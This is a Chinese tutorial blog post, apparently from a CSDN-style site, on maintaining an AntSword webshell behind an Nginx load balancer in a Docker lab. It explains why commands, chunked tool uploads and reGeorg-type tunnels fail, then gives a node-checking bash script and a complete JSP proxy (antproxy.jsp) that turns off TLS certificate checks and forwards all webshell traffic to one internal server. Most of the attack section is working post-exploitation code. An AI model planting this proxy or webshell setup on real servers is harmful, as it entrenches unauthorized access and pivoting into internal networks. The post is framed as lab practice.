【无标题】

一、Nginx负载均衡下的webshell连接

1.环境搭建以及webshell连接

这里使用docker搭建环境,解压进入/root/AntSword-Labs-master/loadbalance/loadbalance-jsp目录,直接docker-compose up -d

链接:https://pan.baidu.com/s/1jP9uWlrn0PwTGrnqQ-uZrw?pwd=3pza

提取码:3pza

然后蚁剑直接连接

因为两台服务器都有ant.jsp,所以连接不会出现问题

成功后进入终端,可以看到每次我们执行hostname -i命令都会输出不一样的结果,那是因为Nginx负载均衡代理飘忽不定,一会儿代理到node1,一会儿代理到node2

那这个时候就出现问题了

2.出现的问题

1.我们在执行命令时,无法知道下次的请求交给哪台机器去执行,也就是上图所展示的那样。

2.我们在上传工具时,由于工具可能较大,会被分片传输,那我们怎么知道这些数据包一定会上传 到同一台服务器呢,也就是说你的工具可能会被分成两半,一半在一台服务器上,而另一半在另 一台服务器上

比如,我这里上传的是1M的文件,但当你刷新时,文件被分成两半了

3.由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可 在这个场景下,这些 tunnel 脚本全部都失灵了。

由于这一块的内容我还没学习到,所以就简单说说

当我们拿下目标服务器之后,由于目标服务器不出网,想要到内网只能将目标服务器作为代理,建立一个隧道,给我们代理到内网去,但是由于Nginx负载均衡,数据传输到一半可能又会被转到另一台服务器上去

那这些问题怎么解决呢?

3.解决方案

1.关掉其中多余的服务器

这个方案理论上来说确实可行,关掉多余的服务器,只保留一台服务器,Nginx检测不到心跳包,自然会将其他服务器视为宕掉,那就不会有问题了

但是这个方案在真实环境中就是在作死,关掉服务器是很严重的安全事故,所以直接pass

实验环境下如果权限够可以试一试

2.利用shell脚本在执行命令前判断要不要执行

shell脚本如下

#!/bin/bash

MYIP=`hostname -i`

if $MYIP == "172.23.0.2" ;then

echo "Node1. I will exec command.\n=========\n"

hostname -i

else

echo "Other. Try again."

fi

由于内容少,文件体积小,可以直接通过蚁剑上传, 不会被分片传输

可以看到如果ip地址为172.23.0.3,那就不会执行命令,返回Try again

反之如果ip地址为172.23.0.4,那就执行命令,输出hostname -i结果

然而这种方法只解决了第一个问题------不知道哪台服务器会执行我们的命令

但是最重要的第二、第三个问题没有解决,我们依然无法上传我们的工具,无法确定数据包的走向

3.利用多余的服务器做一次web层面的流量转发

在这里我们可以把发给172.23.0.3的流量数据包发给我们想要的服务器上,也就是172.23.0.2,因为这两台web服务器是可以互相访问的

在每一台服务器上都传入这样一个脚本,让流量都转发到一台服务器上,注意ip修改成自己想要的服务器ip

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ page import="javax.net.ssl.*" %>

<%@ page import="java.io.ByteArrayOutputStream" %>

<%@ page import="java.io.DataInputStream" %>

<%@ page import="java.io.InputStream" %>

<%@ page import="java.io.OutputStream" %>

<%@ page import="java.net.HttpURLConnection" %>

<%@ page import="java.net.URL" %>

<%@ page import="java.security.KeyManagementException" %>

<%@ page import="java.security.NoSuchAlgorithmException" %>

<%@ page import="java.security.cert.CertificateException" %>

<%@ page import="java.security.cert.X509Certificate" %>

<%!

public static void ignoreSsl() throws Exception {

HostnameVerifier hv = new HostnameVerifier() {

public boolean verify(String urlHostName, SSLSession session) {

return true;

}

};

trustAllHttpsCertificates();

HttpsURLConnection.setDefaultHostnameVerifier(hv);

}

private static void trustAllHttpsCertificates() throws Exception {

TrustManager\[\] trustAllCerts = new TrustManager\[\] { new X509TrustManager() {

public X509Certificate\[\] getAcceptedIssuers() {

return null;

}

@Override

public void checkClientTrusted(X509Certificate\[\] arg0, String arg1) throws CertificateException {

// Not implemented

}

@Override

public void checkServerTrusted(X509Certificate\[\] arg0, String arg1) throws CertificateException {

// Not implemented

}

} };

try {

SSLContext sc = SSLContext.getInstance("TLS");

sc.init(null, trustAllCerts, new java.security.SecureRandom());

HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

} catch (KeyManagementException e) {

e.printStackTrace();

} catch (NoSuchAlgorithmException e) {

e.printStackTrace();

}

}

%>

<%

String target = "http://172.23.0.2:8080/ant.jsp";

URL url = new URL(target);

if ("https".equalsIgnoreCase(url.getProtocol())) {

ignoreSsl();

}

HttpURLConnection conn = (HttpURLConnection)url.openConnection();

StringBuilder sb = new StringBuilder();

conn.setRequestMethod(request.getMethod());

conn.setConnectTimeout(30000);

conn.setDoOutput(true);

conn.setDoInput(true);

conn.setInstanceFollowRedirects(false);

conn.connect();

ByteArrayOutputStream baos=new ByteArrayOutputStream();

OutputStream out2 = conn.getOutputStream();

DataInputStream in=new DataInputStream(request.getInputStream());

byte\[\] buf = new byte1024;

int len = 0;

while ((len = in.read(buf)) != -1) {

baos.write(buf, 0, len);

}

baos.flush();

baos.writeTo(out2);

baos.close();

InputStream inputStream = conn.getInputStream();

OutputStream out3=response.getOutputStream();

int len2 = 0;

while ((len2 = inputStream.read(buf)) != -1) {

out3.write(buf, 0, len2);

}

out3.flush();

out3.close();

%>

然后这时候不要直接用蚁剑传入,因为数据量大,可能会被分片

我们最好新建一个名为antproxy.jsp的文件,多新建几次,因为可能其他服务器没有新建成功,多刷新几次

然后复制我们的脚本,多保存几次,刷新

直到都为3.22kb为止

这时候我们再编辑连接,改为antproxy.jsp

这个时候会有一个问题就是明明脚本里面没有连接密码,那怎么会填入密码ant呢?

是因为这个脚本最终转发还是转发在了ant.jsp上,可以看上面的具体ip,而ant.jsp密码就是ant

连接成功后我们进入命令行

可以看到并没有出现之前的情况了,IP地址一直为172.23.0.2,不会再出现飘忽不定的现象了

相关推荐
穗余1 小时前
2026 AI x Web3 School共学营笔记-Day10-Women Builders in AI × Web3
人工智能·笔记·web3
暴躁小师兄数据学院1 小时前
【AI大数据工程师特训笔记】第10讲:数据库用户、权限管理、数据库约束
大数据·数据库·笔记·sql·postgresql
暴躁小师兄数据学院2 小时前
【AI大模型应用开发工程师特训笔记】第04讲(第9章):文件目录操作
人工智能·笔记·python
sheeta19982 小时前
LeetCode 每日一题笔记 日期:2026.05.27 题目:3121. 统计特殊字母的数量 II
笔记·算法·leetcode
疯狂打码的少年2 小时前
CISC vs RISC 对比
jvm·笔记
garmin Chen2 小时前
LeetcodeHot100打卡(14、合并空间,15、轮转数组,16、除了自身以外数组乘积,17.缺失的第一个整数)
java·笔记·学习·算法
wan55cn@126.com2 小时前
调试协作之歌
人工智能·笔记·微信
就叫飞六吧2 小时前
cookie的SameSite属性
笔记
ん贤3 小时前
Higress 详细笔记
笔记·云原生·higress
不羁的木木3 小时前
ArkWeb实战学习笔记04-JavaScript与Native通信
笔记·学习·harmonyos